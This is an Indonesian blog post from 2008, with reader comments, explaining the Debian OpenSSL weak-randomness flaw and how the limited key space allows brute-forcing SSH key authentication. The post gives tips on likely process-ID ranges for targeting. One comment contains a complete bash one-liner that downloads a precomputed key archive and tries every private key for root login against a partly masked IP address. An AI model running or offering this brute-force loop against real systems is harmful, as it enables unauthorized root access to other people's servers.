Posted by kecoak on May 16, 2008

Brute the crypto library

Rasanya baru beberapa minggu yang lalu saat phoenix nge-buzz saya via YM mengenai POC yang dia buat berdasarkan informasi di bugtraq untuk dapat melakukan DOS (dan mungkin remote exploitation) pada openssh (masalah pada malloc memory allocation) dimana masih terdapat kegagalan untuk kemudian di diskusikan bersama, minggu ini sudah ada berita lain yang cukup mengejutkan dari distribusi debian.

Seperti yang kita ketahui bersama bahwa Luciano Bello menemukan bugs pada paket openssl Debian dimana kita dapat dengan mudah memperkirakan data random yang di generate oleh openssl. Data random ini digenerate oleh beberapa parameter yang disebut ‘seed’, misalnya gerakan mouse, ketikan keyboard, dll. Hasil generate tergantung algoritma yang digunakan, apabila menggunakan DSA 1024 bit maka kemungkinan key yang digunakan adalah 2^1024. Bugs pada openssl ini telah digunakan oleh distribusi Debian sejak tahun 2006, penyebab awalnya adalah informasi dari Daniel Brahneborg yang mengatakan bahwa tools Valgrind dan juga Purify yang dia gunakan saat develop suatu aplikasi menyatakan adanya Uninitialized Variable, kemudian diputuskan bahwa ada masalah pada salah satu code di md_rand.c sehingga baris tersebut di hapus dari distribusi openssl debian. Penghapusan code tersebutlah akar dari permasalahan PRNG openssl debian.

Dan seperti yang kita ketahui juga bahwa openssl merupakan library yang umum digunakan oleh banyak aplikasi user dalam hal menangani masalah kriptografi, salah satunya adalah SSH. Jika awalnya total kemungkinan keys yang digenerate adalah 2^1024, maka pada distribusi debian tersebut total kemungkinan unique keys yang digenerate adalah 2^15. Kenapa?!karena ternyata dengan penghapusan baris code di md_rand.c tersebut menyebabkan satu-satunya parameter yang digunakan sebagai seed untuk randomisasi adalah PID (Process ID), dan di sistem Linux umumnya total proses ID berjumlah 32,767. HDM memberikan penjelasan yang lebih teknikal disini.

HDM juga telah develop tools yang dapat digunakan untuk membuat ‘kamus data’ berisi seluruh SSH Keys untuk algoritma 1024-bit DSA, 2048-bit RSA, dan 4096-bit RSA. Key-key tersebut digenerate dengan menggunakan GetPID Faker shared library yang akan membantu generate keys dengan memberikan informasi Proses ID palsu, mulai dari 1 s/d 32,767.

Sisanya?! mungkin cara gampangnya adalah memanfaatkan script Markus Mueler untuk bruteforce SSH server dengan bermodalkan ‘kamus data’ HDM diatas. HDM juga memberikan tips dimana untuk bruteforce SSH bisa memanfaatkan key-key dengan PID dibawah 200, karena keys-keys tersebut digenerate saat boot time sehingga process ID yang umumnya digunakan dibawah 200. Dan untuk aplikasi user lainnya bisa diperkirakan menggunakan Proses ID antara 500 ~ 10,000. Dengan mekanisme ini maka proses bruteforce bisa lebih efektif, dan kita juga bisa men-develop script sendiri untuk melakukan tugas ini.

Syarat vulnerable-nya hanya satu, aplikasi yang hendak di bruteforce (entah itu SSH, HTTPS, SSL type, dll) meng-generate keys pada distribusi debian yang vulnerable (termasuk turunannya seperti ubuntu, kubuntu, dll). Meskipun target bukanlah sistem debian, namun jika keys-nya di generate oleh sistem debian dan digunakan oleh distribusi lain tersebut maka akan tetap vulnerable. Hal inilah yang membuat sangat berbahaya mengingat pecinta debian sangat banyak, bahkan di Indonesia juga banyak sekali sistem yang dibangun menggunakan debian based. Setau saya para dedengkot seperti andhika triwidada juga pecinta debian :D.

Selama sistem target tidak memiliki pelindung terhadap serangan bruteforce, maka kita bisa melakukan SSH bruteforce ke sistem tersebut. Ada beberapa cara dan tools yang telah disediakan debian untuk mencari tau apakah sistem kita aman atau tidak, cara paling mudah (khususnya utk para admin server) mungkin dengan mencoba langsung script markus mueller terhadap sistem localhost untuk meng-crack SSH keys yang tersimpan pada

/root/.ssh/authorized_keys

Hm, jika yang vulnerable adalah suatu aplikasi, maka mungkin hanya akan berdampak pada sistem yang install aplikasi tersebut. Namun jika yang vulnerable adalah library, maka hal tersebut akan menjadi bencana. Karena library digunakan oleh beragam aplikasi, maka akan luar biasa banyaknya target yang dapat diserang melalui celah library tersebut. Lebih parah lagi, kita bukan hanya diharuskan untuk update package OpenSSL debian yang bersangkutan, namun juga diharuskan meng-generate ulang seluruh aplikasi pada sistem milik kita yang sebelumnya memanfaatkan OpenSSL debian. Dan pecinta debian juga banyak sekali, bukan hanya di Indonesia tapi juga di luar negeri. Dan jangan lupa, debian merupakan base distro untuk distro-distro populer semacam ubuntu dan kubuntu. Wew.

Btw, komo pake apa ya?gentoo kah?! :P.

Post a Comment

7 Responses to “Brute the crypto library”

  1. staff says:

    Author : SSH Geek

    Comment:
    anyway, itu proses authentikasi ssh berdasar authentikasi RSA/DSA kan yha?? artinya proses brute force hanya bisa dilakukan dari host yang memiliki private key dari authorized_keys yang ditaruh di server, bener ga?? He he he,,, jadi saya pikir PoC untuk kasus libssl pada openssh ini risknya low-medium saja karena tidak bisa dilakukan dari sembarang host 🙂

  2. Cyberheb says:

    nah, itu dia yg jadi letak titik permasalahan hole ini, karena private key dari authorized_keys bisa di generate sendiri, itulah yang dilakukan oleh HDM, generate private key utk 1024 DSA, 2048 RSA dan 4096 RSA. Private key-private key tsb yang akan menjadi kamus data dalam proses brute force, dan jauh lbh sederhana krn openssl debian hanya menggunakan parameter PID utk seed dalam randomisasi, jd sebenarnya randomisasi tersebut bisa di anggap tidak random.

    Selama target merupakan mesin debian, atau turunan debian, atau menggunakan authorized_keys yang digenerate oleh openssl debian based maka bisa di lakukan dari mesin manapun, tentu saja terkecuali ada mekanisme IPS 😉

  3. wedew says:

    ^sumpehhh looo.. !?!

  4. phoenix says:

    Hihi, iyhap kemaren salah baca reportnya :), kmrn posting comment makanya saya unapprove/delete lagi coz pada saat yang sama saya membaca ulang reportnya ternyata yang di guesing private key-nya, saya kira tadinya password PEM untuk private keynya he3x, mungkin sebagai catatan kalo authorized_keys nya dikasi PEM password saat generate ssh-keygen PoC dari mueller metinya masih minta password lagi. Hanya saja kebanyakan orang menggunakan RSA authentikasi untuk bypass authentikasi password. Salam

  5. staff says:

    hehe, yaph. absolutely right, my dear…

    ~ h3b

  6. SSH Geek says:

    wget http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2; tar jxvf debian_ssh_rsa_2048_x86.tar.bz2;ls rsa/2048/|grep -v pub > rsa.test;LIST=$(cat rsa.test);for FILE in $LIST;do echo Using private key $(pwd)/rsa/2048/$FILE;ssh -lroot -i $(pwd)/rsa/2048/$FILE -o PasswordAuthentication=no 222.124.xx.xx “pwd” > /dev/null 2>&1;if [ $? -eq 0 ];then echo $(tput setaf 1)Private key found : $(pwd)/rsa/2048/$FILE$(tput sgr0);echo Private key found : $(pwd)/rsa/2048/$FILE >> vulner.log;break;fi;done

  7. degleng says:

    nyemialan apa itu, kokor kokor aku, qe3

Trackbacks/Pingbacks

  1. my own log » Blog Archive » Debian OpenSSL flaw - [...] ssh di debian dapat ditebak karena pembuatannya hanya berdasarkan PID. Lengkapnya silahkan lihat di sini. Untuk mencek apakah key…

Leave a Reply

Your email address will not be published. Required fields are marked *